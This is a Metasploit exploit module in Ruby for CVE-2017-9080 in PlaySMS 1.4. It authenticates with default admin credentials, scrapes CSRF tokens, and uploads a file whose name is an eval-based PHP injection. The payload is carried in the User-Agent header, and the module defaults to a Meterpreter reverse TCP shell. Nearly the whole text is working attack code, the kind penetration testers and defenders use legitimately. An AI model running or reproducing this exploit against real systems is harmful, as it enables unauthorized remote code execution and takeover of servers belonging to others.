##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution',
      'Description' => %q{
          This module exploits a code injection vulnerability within an authenticated file
          upload feature in PlaySMS v1.4. This issue is caused by improper file name handling
          in sendfromfile.php file.
          Authenticated Users can upload a file and rename the file with a malicious payload.
          This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
      },
      'Author' =>
        [
          'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module
          'DarkS3curity' # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['EDB','42003'],
          ['CVE','2017-9080'],
          ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'],
          ['URL','http://touhidshaikh.com/blog/?p=336']
        ],
      'DefaultOptions' =>
        {
          'SSL'     => false,
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'ENCODER' => 'php/base64',
        },
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Targets' =>
        [
          [ 'PlaySMS 1.4', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 21 2017'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
      ])
  end

  def uri
    return target_uri.path
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri, 'index.php')
      })
    rescue
      vprint_error('Unable to access the index.php file')
      return CheckCode::Unknown
    end

    if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
      return Exploit::CheckCode::Appears
    end

    CheckCode::Safe
  end

  def login
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'app' => 'main',
        'inc' => 'core_auth',
        'route' => 'login',
      }
    })

    # Grabbing CSRF token from body
    /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_good("X-CSRF-Token for login : #{csrf}")

    cookies = res.get_cookies
    vprint_status('Trying to Login ......')
    # Send Creds with cookies.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'vars_get' => Hash[{
        'app' => 'main',
        'inc' => 'core_auth',
        'route' => 'login',
        'op' => 'login',
      }.to_a.shuffle],
      'vars_post' => Hash[{
        'X-CSRF-Token' => csrf,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }.to_a.shuffle],
    })

    fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

    # Try to access index page with authenticated cookie.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
    })

    fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

    # if we redirect to core_welcome dan we assume we have authenticated cookie.
    if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
      print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
      return cookies
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
    end
  end

  def exploit
    cookies = login

    # Agian CSRF token.
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'method' => 'GET',
      'cookie' => cookies,
      'vars_get' => Hash[{
        'app' => 'main',
        'inc' => 'feature_sendfromfile',
        'op' => 'list',
      }.to_a.shuffle]
    })

    fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?

    # Grabbing CSRF token from body.
    /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_good("X-CSRF-Token for upload : #{csrf}")

    # Payload.
    evilname = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"

    # setup POST request.
    post_data = Rex::MIME::Message.new
    post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
    post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"")  # payload
    post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"')  # extra
    data = post_data.to_s

    vprint_status('Trying to upload file with malicious Filename Field....')
    # Lets Send Upload request.
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'method' => 'POST',
      'agent' => payload.encode,
      'cookie' => cookies,
      'vars_get' => Hash[{
        'app' => 'main',
        'inc' => 'feature_sendfromfile',
        'op' => 'upload_confirm',
      }.to_a.shuffle],
      'headers' => {
        'Upgrade-Insecure-Requests' => '1',
      },
      'Connection' => 'close',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
    })
  end
end
